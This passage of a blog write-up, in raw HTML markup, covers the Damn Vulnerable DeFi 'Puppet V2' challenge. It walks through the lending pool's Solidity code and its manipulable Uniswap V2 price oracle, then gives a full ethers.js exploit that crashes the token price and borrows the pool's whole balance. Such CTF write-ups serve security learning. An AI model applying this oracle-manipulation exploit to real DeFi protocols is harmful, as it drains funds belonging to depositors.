class=\"token keyword\">return</span> UniswapV2Library<span class=\"token punctuation\">.</span><span class=\"token function\">quote</span><span class=\"token punctuation\">(</span>amount<span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> reservesToken<span class=\"token punctuation\">,</span> reservesWETH<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>Get Oracle Price value using Uniswap Lib.</li>\n<li>Based on the <code class=\"language-text\">getReserves</code> function, call getReserves on the token pair passed as uniswapFactory, WETH, and DVT Contract parameters, and return the sorted results in the order in which the parameters are passed.</li>\n<li>Based on the <code class=\"language-text\">quote</code> function, given the amount of some asset and a reserve, it returns the amount of another asset that represents an equivalent value. (used to calculate the final token amount before calling the mint function)</li>\n</ul>\n<p><strong>calculateDepositOfWETHRequired</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">function</span> <span class=\"token function\">calculateDepositOfWETHRequired</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> tokenAmount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> <span class=\"token function\">_getOracleQuote</span><span class=\"token punctuation\">(</span>tokenAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">/</span> <span class=\"token punctuation\">(</span><span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>The Uniswap Oracle Price is determined by multiplying the optimized token quantity.</li>\n</ul>\n<p><strong>borrow</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">function</span> <span class=\"token function\">borrow</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> borrowAmount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">external</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">require</span><span class=\"token punctuation\">(</span>_token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>=</span> borrowAmount<span class=\"token punctuation\">,</span> <span class=\"token string\">\"Not enough token balance\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token comment\">// Calculate how much WETH the user must deposit</span>\n    <span class=\"token builtin\">uint256</span> depositOfWETHRequired <span class=\"token operator\">=</span> <span class=\"token function\">calculateDepositOfWETHRequired</span><span class=\"token punctuation\">(</span>borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token comment\">// Take the WETH</span>\n    _weth<span class=\"token punctuation\">.</span><span class=\"token function\">transferFrom</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> depositOfWETHRequired<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token comment\">// internal accounting</span>\n    deposits<span class=\"token punctuation\">[</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> depositOfWETHRequired<span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">require</span><span class=\"token punctuation\">(</span>_token<span class=\"token punctuation\">.</span><span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">emit</span> <span class=\"token function\">Borrowed</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> depositOfWETHRequired<span class=\"token punctuation\">,</span> borrowAmount<span class=\"token punctuation\">,</span> block<span class=\"token punctuation\">.</span>timestamp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>If you guarantee 3 times the <code class=\"language-text\">msg.value</code> in the WETH token first, you can borrow the <code class=\"language-text\">borrowAmount</code> of the token.</li>\n<li><code class=\"language-text\">sender</code> should proceed with sufficient WETH approve in advance.</li>\n<li>Calculation assumes that WETH and borrowAmount tokens have the same number of decimal places.</li>\n</ul>\n<p>✅ The balance of the DVT token must be greater than or equal to the <code class=\"language-text\">borrowAmoun</code> value received as an argument.</p>\n<ul>\n<li>Calculate the amount of WETH the user needs to deposit by calling <code class=\"language-text\">borrowAmount</code> as an argument to the <code class=\"language-text\">calculateDepositOfWETRequired</code> function.</li>\n<li>Based on the <code class=\"language-text\">transferFrom</code> function of the WETH contract, the user transfers the requested WETH to this contract.</li>\n<li>When deposit processing is completed, internally, the <code class=\"language-text\">deposits</code> mapping structure is updated with each user’s address.</li>\n</ul>\n<p>✅ Call the <code class=\"language-text\">transfer</code> function of the DVT token to transfer as much as <code class=\"language-text\">borrowAmount</code> to the user</p>\n<ul>\n<li>Process the event.</li>\n</ul>\n<h1 id=\"vulnerability\" style=\"position:relative;\"><a href=\"#vulnerability\" aria-label=\"vulnerability permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Vulnerability</h1>\n<ul>\n<li>It can be confirmed that the vulnerability is similar to the existing PuppetPool Contract. A vulnerability occurs in the custom PuppetV2Pool.sol code that is actually dependent on Uniswap and WETH9 Contract.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">function</span> <span class=\"token function\">calculateDepositOfWETHRequired</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> tokenAmount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token function\">_getOracleQuote</span><span class=\"token punctuation\">(</span>tokenAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token function\">_getOracleQuote</span><span class=\"token punctuation\">(</span>tokenAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">/</span> <span class=\"token punctuation\">(</span><span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// Fetch the price from Uniswap v2 using the official libraries</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">_getOracleQuote</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> amount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">private</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> reservesWETH<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> reservesToken<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> UniswapV2Library<span class=\"token punctuation\">.</span><span class=\"token function\">getReserves</span><span class=\"token punctuation\">(</span>\n        _uniswapFactory<span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span>_weth<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">(</span>_token<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> UniswapV2Library<span class=\"token punctuation\">.</span><span class=\"token function\">quote</span><span class=\"token punctuation\">(</span>amount<span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> reservesToken<span class=\"token punctuation\">,</span> reservesWETH<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>I am using Uniswap’s official utility library. Since it is an important function that determines the Oracle Price Data feed required for the actual logic, it can be seen that this logic is in a high entropy state.</li>\n<li>In fact, if you look at the library, you can see that it is not much different from the UniswapV1 method.</li>\n<li>You have to manipulate the amount of the loan deposit in the same way. By selling as many tokens as possible, you can increase DVT’s deposit and reduce the amount of Ether.</li>\n</ul>\n<h1 id=\"solve\" style=\"position:relative;\"><a href=\"#solve\" aria-label=\"solve permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Solve</h1>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token function\">it</span><span class=\"token punctuation\">(</span><span class=\"token string\">'Exploit'</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">/** CODE YOUR EXPLOIT HERE */</span>\n  <span class=\"token keyword\">const</span> <span class=\"token function-variable function\">fromWei</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>x<span class=\"token punctuation\">)</span> <span class=\"token operator\">=></span> web3<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>x<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">const</span> <span class=\"token function-variable function\">_curInfo</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">async</span> <span class=\"token punctuation\">(</span>status<span class=\"token punctuation\">)</span> <span class=\"token operator\">=></span> <span class=\"token punctuation\">{</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\\n\"</span> <span class=\"token operator\">+</span> status <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[+] Oracle Calc Deposit Required\"</span><span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">let</span> _oracle <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span><span class=\"token function\">calculateDepositOfWETHRequired</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"1\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"=> Oracle: \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>_oracle<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[+] Attacker ETH-DVT Pair Balance\"</span><span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">let</span> attacker_eth <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBalance</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> attacker_dtv <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> attacker_weth <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>weth<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"=> Attacker ETH : \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>attacker_eth<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>    <span class=\"token comment\">// attacker ETH</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"=> Attacker DVT : \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>attacker_dtv<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// attacker DVT</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"=> Attacker WETH : \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>attacker_weth<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">// attacker WETH</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[+] LendingPool ETH-DVT Pair Balance\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> pool_eth <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBalance</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> pool_dtv <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> pool_weth <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>weth<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Lending Pool ETH : \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>pool_eth<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>    <span class=\"token comment\">// lendingPool ETH</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Lending Pool DVT : \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>pool_dtv<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// lendingPool DVT</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Lending Pool WETH : \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>pool_weth<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// lendingPool WETH</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[+] Uniswap Exchange ETH-DVT Pair Balance\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> exchange_eth <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBalance</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> exchange_dtv <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> exchange_weth <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>weth<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Uniswap Exchange ETH : \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>exchange_eth<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>    <span class=\"token comment\">// exchange ETH</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Uniswap Exchange DVT : \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>exchange_dtv<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// exchange DVT</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Uniswap Exchange WETH : \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>exchange_weth<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// exchange WETH</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">/** CODE YOUR EXPLOIT HERE */</span>\n  \n  <span class=\"token function\">_curInfo</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Initial\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">connect</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">approve</span><span class=\"token punctuation\">(</span>\n      <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapRouter<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n      <span class=\"token constant\">ATTACKER_INITIAL_TOKEN_BALANCE</span>\n  <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapRouter<span class=\"token punctuation\">.</span><span class=\"token function\">connect</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">swapExactTokensForETH</span><span class=\"token punctuation\">(</span>\n      <span class=\"token constant\">ATTACKER_INITIAL_TOKEN_BALANCE</span><span class=\"token punctuation\">,</span>                  <span class=\"token comment\">// amountIn </span>\n      <span class=\"token number\">0</span><span class=\"token punctuation\">,</span>                                               <span class=\"token comment\">// amountOutMin </span>\n      <span class=\"token punctuation\">[</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapRouter<span class=\"token punctuation\">.</span><span class=\"token constant\">WETH</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token comment\">// path</span>\n      attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>                                <span class=\"token comment\">// to</span>\n      <span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBlock</span><span class=\"token punctuation\">(</span><span class=\"token string\">'latest'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>timestamp <span class=\"token operator\">*</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span>   <span class=\"token comment\">// deadline</span>\n  <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token function\">_curInfo</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"State\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">const</span> oraclePool <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span><span class=\"token function\">calculateDepositOfWETHRequired</span><span class=\"token punctuation\">(</span><span class=\"token constant\">POOL_INITIAL_TOKEN_BALANCE</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Oracle Pool: \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>oraclePool<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>weth<span class=\"token punctuation\">.</span><span class=\"token function\">connect</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">deposit</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span> value<span class=\"token operator\">:</span> oraclePool <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>weth<span class=\"token punctuation\">.</span><span class=\"token function\">connect</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">approve</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span> oraclePool<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span><span class=\"token function\">connect</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">borrow</span><span class=\"token punctuation\">(</span><span class=\"token constant\">POOL_INITIAL_TOKEN_BALANCE</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token function\">_curInfo</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Fini\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  \n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<h2 id=\"next-time-\" style=\"position:relative;\"><a href=\"#next-time-\" aria-label=\"next time  permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 